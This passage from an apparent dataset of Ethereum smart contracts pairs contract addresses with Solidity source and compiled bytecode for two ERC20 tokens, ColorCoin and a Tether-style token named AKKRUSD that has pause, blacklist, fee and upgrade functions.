fd5b6000613e6e8261301d565b9150613e798361301d565b925082613e8957613e88613e34565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613eca601b83612f7e565b9150613ed582613e94565b602082019050919050565b60006020820190508181036000830152613ef981613ebd565b9050919050565b6000613f0b8261301d565b9150613f168361301d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613f4f57613f4e613511565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613fb6602183612f7e565b9150613fc182613f5a565b604082019050919050565b60006020820190508181036000830152613fe581613fa9565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200e917d0b61b9dcd1d45583720469a918abe6f0a62908f3d3ef201be27acafeb064736f6c634300080a0033
[ 13 ]
0xf1d1f422ad6d13cd628e480161a0a98adbebc8dc
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20 { function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner,address indexed spender,uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } contract ColorCoin is ERC20 { using SafeMath for uint256; mapping (address => mapping (address => uint256)) private allowed; mapping(address => uint256) private balances; mapping(address => bool) private lockedAddresses; address private admin; address private founder; bool public isTransferable = false; string public name; string public symbol; uint256 public totalSupply; uint8 public decimals; constructor(address _founder, address _admin) public { name = "Color Coin"; symbol = "COL"; totalSupply = 350000000000000000000000000; decimals = 18; admin = _admin; founder = _founder; balances[founder] = totalSupply; emit Transfer(0x0, founder, totalSupply); } modifier onlyAdmin { require(admin == msg.sender); _; } modifier onlyFounder { require(founder == msg.sender); _; } modifier transferable { require(isTransferable); _; } modifier notLocked { require(!lockedAddresses[msg.sender]); _; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function transfer(address _to, uint256 _value) transferable notLocked public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) transferable public returns (bool) { require(!lockedAddresses[_from]); require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) transferable notLocked public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function distribute(address _to, uint256 _value) onlyFounder public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function claimToken(address tokenContract, address _to, uint256 _value) onlyAdmin public returns (bool) { require(tokenContract != address(0)); require(_to != address(0)); require(_value > 0); ERC20 token = ERC20(tokenContract); return token.transfer(_to, _value); } function lock(address who) onlyAdmin public { lockedAddresses[who] = true; } function unlock(address who) onlyAdmin public { lockedAddresses[who] = false; } function isLocked(address who) public view returns(bool) { return lockedAddresses[who]; } function enableTransfer() onlyAdmin public { isTransferable = true; } function disableTransfer() onlyAdmin public { isTransferable = false; } }
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f578063125bfb66146101b757806318160ddd146101e15780632121dc751461020857806323b872dd1461021d5780632f6c493c14610247578063313ce5671461026a5780634a4fbeec1461029557806370a08231146102b657806395d89b41146102d7578063a9059cbb146102ec578063b187984f14610310578063dd62ed3e14610325578063f1b50c1d1461034c578063f435f5a714610361578063fb93210814610382575b600080fd5b34801561010157600080fd5b5061010a6103a6565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a0360043516602435610434565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101a3600160a060020a03600435811690602435166044356104d1565b3480156101ed57600080fd5b506101f66105c6565b60408051918252519081900360200190f35b34801561021457600080fd5b506101a36105cc565b34801561022957600080fd5b506101a3600160a060020a03600435811690602435166044356105dc565b34801561025357600080fd5b50610268600160a060020a036004351661078f565b005b34801561027657600080fd5b5061027f6107c7565b6040805160ff9092168252519081900360200190f35b3480156102a157600080fd5b506101a3600160a060020a03600435166107d0565b3480156102c257600080fd5b506101f6600160a060020a03600435166107ee565b3480156102e357600080fd5b5061010a610809565b3480156102f857600080fd5b506101a3600160a060020a0360043516602435610864565b34801561031c57600080fd5b5061026861097d565b34801561033157600080fd5b506101f6600160a060020a03600435811690602435166109b4565b34801561035857600080fd5b506102686109dd565b34801561036d57600080fd5b50610268600160a060020a0360043516610a1a565b34801561038e57600080fd5b506101a3600160a060020a0360043516602435610a55565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561042c5780601f106104015761010080835404028352916020019161042c565b820191906000526020600020905b81548152906001019060200180831161040f57829003601f168201915b505050505081565b60045460009060a060020a900460ff16151561044f57600080fd5b3360009081526002602052604090205460ff161561046c57600080fd5b33600081815260208181526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b6003546000908190600160a060020a031633146104ed57600080fd5b600160a060020a038516151561050257600080fd5b600160a060020a038416151561051757600080fd5b6000831161052457600080fd5b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151869283169163a9059cbb9160448083019260209291908290030181600087803b15801561059157600080fd5b505af11580156105a5573d6000803e3d6000fd5b505050506040513d60208110156105bb57600080fd5b505195945050505050565b60075481565b60045460a060020a900460ff1681565b60045460009060a060020a900460ff1615156105f757600080fd5b600160a060020a03841660009081526002602052604090205460ff161561061d57600080fd5b600160a060020a038316151561063257600080fd5b600160a060020a03841660009081526001602052604090205482111561065757600080fd5b600160a060020a03841660009081526020818152604080832033845290915290205482111561068557600080fd5b600160a060020a0384166000908152600160205260409020546106ae908363ffffffff610a6f16565b600160a060020a0380861660009081526001602052604080822093909355908516815220546106e3908363ffffffff610a8116565b600160a060020a0380851660009081526001602090815260408083209490945591871681528082528281203382529091522054610726908363ffffffff610a6f16565b600160a060020a0380861660008181526020818152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600354600160a060020a031633146107a657600080fd5b600160a060020a03166000908152600260205260409020805460ff19169055565b60085460ff1681565b600160a060020a031660009081526002602052604090205460ff1690565b600160a060020a031660009081526001602052604090205490565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561042c5780601f106104015761010080835404028352916020019161042c565b60045460009060a060020a900460ff16151561087f57600080fd5b3360009081526002602052604090205460ff161561089c57600080fd5b600160a060020a03831615156108b157600080fd5b336000908152600160205260409020548211156108cd57600080fd5b336000908152600160205260409020546108ed908363ffffffff610a6f16565b3360009081526001602052604080822092909255600160a060020a0385168152205461091f908363ffffffff610a8116565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600354600160a060020a0316331461099457600080fd5b6004805474ff000000000000000000000000000000000000000019169055565b600160a060020a0391821660009081526020818152604080832093909416825291909152205490565b600354600160a060020a031633146109f457600080fd5b6004805474ff0000000000000000000000000000000000000000191660a060020a179055565b600354600160a060020a03163314610a3157600080fd5b600160a060020a03166000908152600260205260409020805460ff19166001179055565b600454600090600160a060020a0316331461089c57600080fd5b600082821115610a7b57fe5b50900390565b81810182811015610a8e57fe5b929150505600a165627a7a7230582089efcc8f15488a78ec299ffe6699a634243e7bbf147a06aba4a2ffe17eec835f0029
[ 38 ]
0xf1d2a55456b32f18b78bb32611a625b3c26ccd43
/** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public _totalSupply; function totalSupply() public constant returns (uint); function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is Ownable, ERC20Basic { using SafeMath for uint; mapping(address => uint) public balances; // additional variables for use if transaction fees ever became necessary uint public basisPointsRate = 0; uint public maximumFee = 0; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) { uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } uint sendAmount = _value.sub(fee); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(msg.sender, owner, fee); } Transfer(msg.sender, _to, sendAmount); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) public allowed; uint public constant MAX_UINT = 2**256 - 1; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } if (_allowance < MAX_UINT) { allowed[_from][msg.sender] = _allowance.sub(_value); } uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(_from, owner, fee); } Transfer(_from, _to, sendAmount); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract BlackList is Ownable, BasicToken { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) /////// function getBlackListStatus(address _maker) external constant returns (bool) { return isBlackListed[_maker]; } function getOwner() external constant returns (address) { return owner; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; RemovedBlackList(_clearedUser); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; DestroyedBlackFunds(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } contract UpgradedStandardToken is StandardToken{ // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address function transferByLegacy(address from, address to, uint value) public; function transferFromByLegacy(address sender, address from, address spender, uint value) public; function approveByLegacy(address from, address spender, uint value) public; } contract AKKRUSD is Pausable, StandardToken, BlackList { string public name; string public symbol; uint public decimals; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals function AKKRUSD(uint _initialSupply, string _name, string _symbol, uint _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused { require(!isBlackListed[msg.sender]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused { require(!isBlackListed[_from]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued function issue(uint amount) public onlyOwner { require(_totalSupply + amount > _totalSupply); require(balances[owner] + amount > balances[owner]); balances[owner] += amount; _totalSupply += amount; Issue(amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply -= amount; balances[owner] -= amount; Redeem(amount); } function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints < 20); require(newMaxFee < 50); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**decimals); Params(basisPointsRate, maximumFee); } // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }
0x608060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461019b5780630753c30c1461022b578063095ea7b31461026e5780630e136b19146102bb5780630ecb93c0146102ea57806318160ddd1461032d57806323b872dd1461035857806326976e3f146103c557806327e235e31461041c578063313ce56714610473578063353907141461049e5780633eaaf86b146104c95780633f4ba83a146104f457806359bf1abe1461050b5780635c658165146105665780635c975abb146105dd57806370a082311461060c5780638456cb5914610663578063893d20e81461067a5780638da5cb5b146106d157806395d89b4114610728578063a9059cbb146107b8578063c0324c7714610805578063cc872b661461083c578063db006a7514610869578063dd62ed3e14610896578063dd644f721461090d578063e47d606014610938578063e4997dc514610993578063e5b5019a146109d6578063f2fde38b14610a01578063f3bdc22814610a44575b600080fd5b3480156101a757600080fd5b506101b0610a87565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f05780820151818401526020810190506101d5565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023757600080fd5b5061026c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b25565b005b34801561027a57600080fd5b506102b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c42565b005b3480156102c757600080fd5b506102d0610d95565b604051808215151515815260200191505060405180910390f35b3480156102f657600080fd5b5061032b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b005b34801561033957600080fd5b50610342610ec1565b6040518082815260200191505060405180910390f35b34801561036457600080fd5b506103c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fa9565b005b3480156103d157600080fd5b506103da61118e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042857600080fd5b5061045d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b4565b6040518082815260200191505060405180910390f35b34801561047f57600080fd5b506104886111cc565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104b36111d2565b6040518082815260200191505060405180910390f35b3480156104d557600080fd5b506104de6111d8565b6040518082815260200191505060405180910390f35b34801561050057600080fd5b506105096111de565b005b34801561051757600080fd5b5061054c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129c565b604051808215151515815260200191505060405180910390f35b34801561057257600080fd5b506105c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f2565b6040518082815260200191505060405180910390f35b3480156105e957600080fd5b506105f2611317565b604051808215151515815260200191505060405180910390f35b34801561061857600080fd5b5061064d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061132a565b6040518082815260200191505060405180910390f35b34801561066f57600080fd5b50610678611451565b005b34801561068657600080fd5b5061068f611511565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106dd57600080fd5b506106e661153a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073457600080fd5b5061073d61155f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561077d578082015181840152602081019050610762565b50505050905090810190601f1680156107aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107c457600080fd5b50610803600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115fd565b005b34801561081157600080fd5b5061083a60048036038101908080359060200190929190803590602001909291905050506117ac565b005b34801561084857600080fd5b5061086760048036038101908080359060200190929190505050611891565b005b34801561087557600080fd5b5061089460048036038101908080359060200190929190505050611a88565b005b3480156108a257600080fd5b506108f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c1b565b6040518082815260200191505060405180910390f35b34801561091957600080fd5b50610922611d78565b6040518082815260200191505060405180910390f35b34801561094457600080fd5b50610979600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d7e565b604051808215151515815260200191505060405180910390f35b34801561099f57600080fd5b506109d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d9e565b005b3480156109e257600080fd5b506109eb611eb7565b6040518082815260200191505060405180910390f35b348015610a0d57600080fd5b50610a42600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611edb565b005b348015610a5057600080fd5b50610a85600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fb0565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b1d5780601f10610af257610100808354040283529160200191610b1d565b820191906000526020600020905b815481529060010190602001808311610b0057829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8057600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b604060048101600036905010151515610c5a57600080fd5b600a60149054906101000a900460ff1615610d8557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610d6857600080fd5b505af1158015610d7c573d6000803e3d6000fd5b50505050610d90565b610d8f8383612134565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0357600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610fa057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610f5e57600080fd5b505af1158015610f72573d6000803e3d6000fd5b505050506040513d6020811015610f8857600080fd5b81019080805190602001909291905050509050610fa6565b60015490505b90565b600060149054906101000a900460ff16151515610fc557600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561101e57600080fd5b600a60149054906101000a900460ff161561117d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b15801561116057600080fd5b505af1158015611174573d6000803e3d6000fd5b50505050611189565b6111888383836122d1565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123957600080fd5b600060149054906101000a900460ff16151561125457600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff161561144057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156113fe57600080fd5b505af1158015611412573d6000803e3d6000fd5b505050506040513d602081101561142857600080fd5b8101908080519060200190929190505050905061144c565b61144982612778565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114ac57600080fd5b600060149054906101000a900460ff161515156114c857600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115f55780601f106115ca576101008083540402835291602001916115f5565b820191906000526020600020905b8154815290600101906020018083116115d857829003601f168201915b505050505081565b600060149054906101000a900460ff1615151561161957600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561167257600080fd5b600a60149054906101000a900460ff161561179d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3384846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561178057600080fd5b505af1158015611794573d6000803e3d6000fd5b505050506117a8565b6117a782826127c1565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180757600080fd5b60148210151561181657600080fd5b60328110151561182557600080fd5b81600381905550611844600954600a0a82612b2990919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e6003546004546040